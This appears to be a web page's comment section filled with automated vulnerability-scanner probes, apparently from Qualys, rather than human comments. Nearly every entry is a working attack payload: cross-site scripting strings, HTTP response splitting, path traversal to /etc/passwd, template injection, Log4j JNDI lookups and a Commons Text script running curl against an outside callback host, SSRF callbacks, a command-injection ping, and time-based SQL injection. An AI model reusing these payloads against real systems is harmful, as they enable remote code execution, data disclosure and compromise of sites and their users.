37 comentarios

1. 1

2. “‘>

3. “>

4. _q=random(X139843198275728Y1_2Z)

5. “‘><qss8N0LN89l=7;//<

7. 1

8. q
   Content-Type:text/html
   Content-Length: 190

   HTTP/1.1 200 OK
   Content-Type: text/html
   Set-Cookie: a=q
   Content-Length: 2

   AA

9. #

10. 1e309

11. //..//..//..//..//..//..//..//etc/passwd

12. ….//….//….//….//….//….//etc/passwd

13. 1

14. “);(function(){qxssR1dv8bHf});/**/”

15. 1

16. {23.0231*213.759}${23.0231*213.759}{{=23.0231*213.759}}

17. https://community.qualys.com/

18. http://4f90984d4cc03a09ef9c3da5c6152a3661ccf46b.3599237178988728.1953310023.ssrf01.ssrf.us4.qualysperiscope.com.

19. ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://a281313754543efef16dd554446042ae750267a7.3599237178988728.2252507450.log4j05.log4j.us4.qualysperiscope.com./QualysWAS}

20. ${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//693b145a832ecd5b84786982ea941ce401d6e2dc.3599237178988728.885181799.log4j10.log4j.us4.qualysperiscope.com./QualysWAS}

21. ${dns:address|48106715db1e7fc091a9219f8ed501a67aea782f.3599237178988728.3338752413.oscomm04.oscomm.us4.qualysperiscope.com.}

22. ${url:UTF-8:https://@CIPHER@.@UNIQUEID@.@URI@.oscomm09.oscomm.@DOMAIN@}

23. ${script:javascript:java.lang.Runtime.getRuntime().exec(‘curl https://5292748897f9287ac59f2de50ea71509aad304e8.3599237178988728.1413608777.oscomm14.oscomm.us4.qualysperiscope.com.’)}

24. ${url:UTF-8:https://2e5ce3b36a61d141bed613b1ddd18c60263183c0.3599237178988728.3118104274.oscomm19.oscomm.us4.qualysperiscope.com./}

25. ${url:UTF-8::http://764e603deb47b06b6990df5e49990be1bef632b1.3599237178988728.784076836.oscomm24.oscomm.us4.qualysperiscope.com.}

26. ${“”.getClass().forName(“java.net.InetAddress”).getMethod(“getByName”,””.getClass()).invoke(“”,”8a2fc159a030ef11052e57a679b95a69bb3f9ff5.3599237178988728.2316847845.oscomm15079701.oscomm.us4.qualysperiscope.com.”)}

27. http://localhost:19096

28. 1′) or 2634=2634 —

29. 1

30. 1′) or ‘swqtp’=’swqtp

31. 1

32. 1

33. aaaa&ping -n 92 localhost&

34. 1

35. 1;WAITFOR DELAY ’00:00:29′;

36. 1 + (SELECT 0 FROM (SELECT SLEEP(29))qsqli_1111)

37. 1′ OR (SELECT 1337 FROM (SELECT(SLEEP(29)))prime) AND ‘qualys’=’qualys